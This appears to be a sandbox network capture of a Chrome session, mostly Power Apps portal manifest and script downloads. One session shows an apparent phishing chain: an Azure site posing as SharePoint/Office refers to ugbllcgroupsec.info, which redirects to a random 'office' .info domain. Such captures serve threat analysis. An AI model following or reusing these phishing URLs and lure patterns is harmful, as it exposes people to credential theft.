Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50602	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:07 UTC	410	OUT	GET /resource/powerappsportal/controls/pcf_loader/manifest-0.0.27.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:07 UTC	947	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:07 GMT Content-Type: application/json Content-Length: 170 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-correlation-id,x-ms-activity-vector,x-ms-service-request-id,x-ms-client-request-id Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AG x-ms-static-content: ZE0000014 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: df6df262-b02f-43a0-8b7a-6847ce75908c x-ms-correlation-id: bca567b2-cef4-4500-9d40-e62736d53c5a x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=15.4,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141207Z-1848b945c76259rkhC1MNZe7cc00000001200000000037sn X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 74730419 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:07 UTC	170	IN	Data Raw: 7b 0a 20 20 20 20 22 50 63 66 43 6f 6e 74 72 6f 6c 50 72 6f 78 79 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 70 63 66 5f 6c 6f 61 64 65 72 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 70 63 66 5f 6c 6f 61 64 65 72 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 66 30 35 39 36 38 31 32 32 37 2e 6a 73 22 2c 0a 20 20 20 20 20 20 20 20 22 63 6f 6e 74 72 6f 6c 22 3a 20 22 2e 2f 50 63 66 43 6f 6e 74 72 6f 6c 50 72 6f 78 79 22 0a 20 20 20 20 7d 0a 7d Data Ascii: { "PcfControlProxy": { "library": "pcf_loader", "remoteEntry": "/pcf_loader/remoteEntry.f059681227.js", "control": "./PcfControlProxy" }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50605	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:07 UTC	409	OUT	GET /resource/powerappsportal/controls/data_grid/manifest-1.1.26.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:08 UTC	793	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:08 GMT Content-Type: application/json Content-Length: 290 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AB x-ms-static-content: ZE00000C0 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 9984898d-66f2-4b1a-8ead-ddc2ecad2b97 x-ms-correlation-id: 2f2dbe5b-1489-4a97-ad5a-7dd8625b2aee x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=45.2,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141207Z-17f859c6f6bwlwgzhC1MNZacd40000000180000000008vpp X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:08 UTC	290	IN	Data Raw: 7b 0a 20 20 20 20 22 47 72 69 64 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 64 61 74 61 5f 67 72 69 64 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 64 61 74 61 5f 67 72 69 64 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 62 66 63 62 63 31 30 32 36 61 2e 6a 73 22 2c 0a 20 20 20 20 20 20 20 20 22 63 6f 6e 74 72 6f 6c 22 3a 20 22 2e 2f 47 72 69 64 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 46 6f 72 6d 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 64 61 74 61 5f 67 72 69 64 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 64 61 74 61 5f 67 72 69 64 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 62 66 63 62 63 31 30 32 36 61 2e 6a 73 22 2c 0a Data Ascii: { "Grid": { "library": "data_grid", "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js", "control": "./Grid" }, "Form": { "library": "data_grid", "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50606	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:08 UTC	403	OUT	GET /resource/powerappsportal/controls/host/manifest-0.2.0.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:08 UTC	826	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:08 GMT Content-Type: application/json Content-Length: 48 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: ga00000HH x-ms-static-content: nr0000056 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 0a332b41-6355-4070-9e48-77dd1fc5b96f x-ms-correlation-id: 4b39cdc7-ad5c-444f-97ae-b7340d8ee0a6 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=12.2,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141208Z-1848b945c76s89w4hC1MNZ5xts000000011g000000008gsf X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 74730419 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:08 UTC	48	IN	Data Raw: 7b 0a 20 20 20 20 22 68 61 73 68 22 3a 20 22 2f 68 6f 73 74 2f 6d 61 69 6e 2e 30 34 61 36 31 38 32 30 35 65 2e 63 68 75 6e 6b 2e 6a 73 22 0a 7d Data Ascii: { "hash": "/host/main.04a618205e.chunk.js"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50612	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:08 UTC	411	OUT	GET /resource/powerappsportal/controls/pcf_controls/manifest-3.2.6.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:08 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:08 GMT Content-Type: application/json Content-Length: 1352 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000CE x-ms-static-content: ZE000009K Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 329c4433-efc5-4396-854a-281d08cb8dad x-ms-correlation-id: dca60b9e-d470-496e-b57c-5d4bd226c31d x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=9.7,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141208Z-17f859c6f6btp7mxhC1MNZf7d000000000wg000000005dhy X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:08 UTC	1352	IN	Data Raw: 7b 0a 20 20 20 20 22 47 61 6c 6c 65 72 79 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 70 63 66 5f 63 6f 6e 74 72 6f 6c 73 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 70 63 66 5f 63 6f 6e 74 72 6f 6c 73 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 38 61 65 62 33 66 38 35 65 34 2e 6a 73 22 2c 0a 20 20 20 20 20 20 20 20 22 63 6f 6e 74 72 6f 6c 22 3a 20 22 2e 2f 47 61 6c 6c 65 72 79 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 47 61 6c 6c 65 72 79 57 72 61 70 70 65 64 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 70 63 66 5f 63 6f 6e 74 72 6f 6c 73 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 70 63 66 5f 63 6f 6e 74 72 6f 6c 73 2f Data Ascii: { "Gallery": { "library": "pcf_controls", "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js", "control": "./Gallery" }, "GalleryWrapped": { "library": "pcf_controls", "remoteEntry": "/pcf_controls/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50611	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:08 UTC	408	OUT	GET /resource/powerappsportal/controls/mf_shared/manifest-0.2.7.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:08 UTC	792	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:08 GMT Content-Type: application/json Content-Length: 332 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000C7 x-ms-static-content: NR0000027 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 0a0471cd-f8c3-48e4-9ef9-38bc41300fe1 x-ms-correlation-id: 564022be-4db9-42d7-91a3-ee81dad67028 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=8.6,x-ms-igw-req-overhead;dur=0.2 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141208Z-1848b945c76cmqgdhC1MNZq6d0000000010g0000000088kg X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:08 UTC	332	IN	Data Raw: 7b 0a 20 20 20 20 22 75 73 65 50 61 67 65 73 53 74 6f 72 65 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 6d 66 5f 73 68 61 72 65 64 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 6d 66 5f 73 68 61 72 65 64 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 33 31 34 34 31 61 64 63 61 62 2e 6a 73 22 2c 0a 20 20 20 20 20 20 20 20 22 63 6f 6e 74 72 6f 6c 22 3a 20 22 2e 2f 75 73 65 50 61 67 65 73 53 74 6f 72 65 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 46 65 64 65 72 61 74 65 64 43 6f 6e 74 72 6f 6c 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 6d 66 5f 73 68 61 72 65 64 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 6d 66 5f 73 68 61 72 65 Data Ascii: { "usePagesStore": { "library": "mf_shared", "remoteEntry": "/mf_shared/remoteEntry.31441adcab.js", "control": "./usePagesStore" }, "FederatedControl": { "library": "mf_shared", "remoteEntry": "/mf_share

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50613	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:08 UTC	418	OUT	GET /resource/powerappsportal/controls/controls_fluent_v9/manifest-0.0.30.json HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:08 UTC	964	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:08 GMT Content-Type: application/json Content-Length: 8462 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-correlation-id,x-ms-activity-vector,x-ms-service-request-id,x-ms-client-request-id Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000CA x-ms-static-content: ze0000002 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: bcd45e9b-7a45-438f-8466-129fcfbba348 x-ms-correlation-id: 9841a3f0-8725-4017-9437-a27dd6b5dc38 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=68.7,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141208Z-1848b945c76kqngjhC1MNZmngc00000000pg000000009t6k X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:08 UTC	8462	IN	Data Raw: 7b 0a 20 20 20 20 22 41 76 61 74 61 72 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 63 6f 6e 74 72 6f 6c 73 5f 66 6c 75 65 6e 74 5f 76 39 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f 63 6f 6e 74 72 6f 6c 73 5f 66 6c 75 65 6e 74 5f 76 39 2f 72 65 6d 6f 74 65 45 6e 74 72 79 2e 32 36 38 36 63 39 34 66 35 31 2e 6a 73 22 2c 0a 20 20 20 20 20 20 20 20 22 63 6f 6e 74 72 6f 6c 22 3a 20 22 2e 2f 41 76 61 74 61 72 22 0a 20 20 20 20 7d 2c 0a 20 20 20 20 22 41 76 61 74 61 72 47 72 6f 75 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6c 69 62 72 61 72 79 22 3a 20 22 63 6f 6e 74 72 6f 6c 73 5f 66 6c 75 65 6e 74 5f 76 39 22 2c 0a 20 20 20 20 20 20 20 20 22 72 65 6d 6f 74 65 45 6e 74 72 79 22 3a 20 22 2f Data Ascii: { "Avatar": { "library": "controls_fluent_v9", "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js", "control": "./Avatar" }, "AvatarGroup": { "library": "controls_fluent_v9", "remoteEntry": "/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50622	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:09 UTC	414	OUT	GET /resource/powerappsportal/controls/mf_shared/remoteEntry.31441adcab.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:09 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:09 GMT Content-Type: application/x-javascript Content-Length: 8107 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AG x-ms-static-content: NR0000010 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 9702e779-a5b5-4479-8da9-2a5f8b907fba x-ms-correlation-id: badb7213-7154-408a-9959-6fbdab34723e x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=36.0,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141209Z-1848b945c76pfnbrhC1MNZgyn400000000y0000000006z0t X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:09 UTC	8107	IN	Data Raw: 76 61 72 20 6d 66 5f 73 68 61 72 65 64 3b 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 72 2c 74 2c 61 2c 6e 2c 6f 2c 69 2c 66 2c 6c 2c 75 2c 73 2c 64 2c 63 2c 68 2c 70 2c 6d 2c 76 2c 67 2c 62 2c 79 3d 7b 39 34 34 39 3a 28 65 2c 72 2c 74 29 3d 3e 7b 76 61 72 20 61 3d 7b 22 2e 2f 75 73 65 50 61 67 65 73 53 74 6f 72 65 22 3a 28 29 3d 3e 74 2e 65 28 37 35 33 29 2e 74 68 65 6e 28 28 28 29 3d 3e 28 29 3d 3e 74 28 36 37 35 33 29 29 29 2c 22 2e 2f 46 65 64 65 72 61 74 65 64 43 6f 6e 74 72 6f 6c 22 3a 28 29 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 74 2e 65 28 33 37 30 29 2c 74 2e 65 28 35 29 2c 74 2e 65 28 38 31 39 29 5d 29 2e 74 68 65 6e 28 28 28 29 3d 3e 28 29 3d 3e 74 28 39 33 33 34 29 29 29 7d 2c 6e 3d 28 65 2c 72 29 3d 3e 28 Data Ascii: var mf_shared;(()=>{"use strict";var e,r,t,a,n,o,i,f,l,u,s,d,c,h,p,m,v,g,b,y={9449:(e,r,t)=>{var a={"./usePagesStore":()=>t.e(753).then((()=>()=>t(6753))),"./FederatedControl":()=>Promise.all([t.e(370),t.e(5),t.e(819)]).then((()=>()=>t(9334)))},n=(e,r)=>(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50625	34.81.65.15	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:09 UTC	785	OUT	GET /CfLtH HTTP/1.1 Host: ugbllcgroupsec.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:10 UTC	747	IN	HTTP/1.1 301 Moved Permanently set-cookie: PHPSESSID=iq33f9iu9al1q34831se8gjrsr; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache set-cookie: short_1=1; expires=Wed, 15-Jan-2025 14:27:09 GMT; Max-Age=900; path=/; HttpOnly location: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd content-type: text/html; charset=UTF-8 content-length: 0 date: Wed, 15 Jan 2025 14:12:09 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50630	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:09 UTC	412	OUT	GET /resource/powerappsportal/controls/mf_shared/451.6012e266c2.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:10 UTC	801	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:10 GMT Content-Type: application/x-javascript Content-Length: 920 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AI x-ms-static-content: ZE000000G Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 71bd0e2f-5542-4c95-b2b1-86433f1f1475 x-ms-correlation-id: 789f6e31-ab06-45e7-b1fb-103108cc09a4 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=11.1,x-ms-igw-req-overhead;dur=0.5 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141209Z-17f859c6f6bsd27vhC1MNZ1d9s00000000z000000000cbsm X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:10 UTC	920	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 35 31 5d 2c 7b 36 34 35 31 3a 28 65 2c 74 2c 73 29 3d 3e 7b 73 2e 72 28 74 29 2c 73 2e 64 28 74 2c 7b 63 72 65 61 74 65 53 74 6f 72 65 3a 28 29 3d 3e 6f 2c 64 65 66 61 75 6c 74 3a 28 29 3d 3e 61 7d 29 3b 63 6f 6e 73 74 20 72 3d 65 3d 3e 7b 6c 65 74 20 74 3b 63 6f 6e 73 74 20 73 3d 6e 65 77 20 53 65 74 2c 72 3d 28 65 2c 72 29 3d 3e 7b 63 6f 6e 73 74 20 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[451],{6451:(e,t,s)=>{s.r(t),s.d(t,{createStore:()=>o,default:()=>a});const r=e=>{let t;const s=new Set,r=(e,r)=>{const o="function"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50632	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:09 UTC	412	OUT	GET /resource/powerappsportal/controls/mf_shared/465.b7a24572be.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:10 UTC	851	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:09 GMT Content-Type: application/x-javascript Content-Length: 7674 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000AG x-ms-static-content: ZE00000C0 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 5720fa44-659a-4a1d-ada2-046ed741bdc4 x-ms-correlation-id: 236fc88f-e28a-4085-8321-4abd9a7f875a x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=8.2,x-ms-igw-req-overhead;dur=0.2 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141209Z-17f859c6f6bhnmcshC1MNZq61c000000014g000000000wa2 X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:10 UTC	7674	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 69 63 72 6f 73 6f 66 74 5f 70 6f 77 65 72 70 61 67 65 73 5f 6d 66 5f 73 68 61 72 65 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 36 35 5d 2c 7b 34 34 36 35 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 72 28 74 29 2c 72 2e 64 28 74 2c 7b 69 6d 6d 65 72 3a 28 29 3d 3e 47 7d 29 3b 76 61 72 20 6e 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 69 6d 6d 65 72 2d 6e 6f 74 68 69 6e 67 22 29 2c 6f 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 69 6d 6d 65 72 2d 64 72 61 66 74 61 62 6c 65 22 29 2c 69 3d 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 69 6d Data Ascii: "use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[465],{4465:(e,t,r)=>{r.r(t),r.d(t,{immer:()=>G});var n=Symbol.for("immer-nothing"),o=Symbol.for("immer-draftable"),i=Symbol.for("im

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50633	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:09 UTC	412	OUT	GET /resource/powerappsportal/controls/mf_shared/753.68a8bfd654.chunk.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
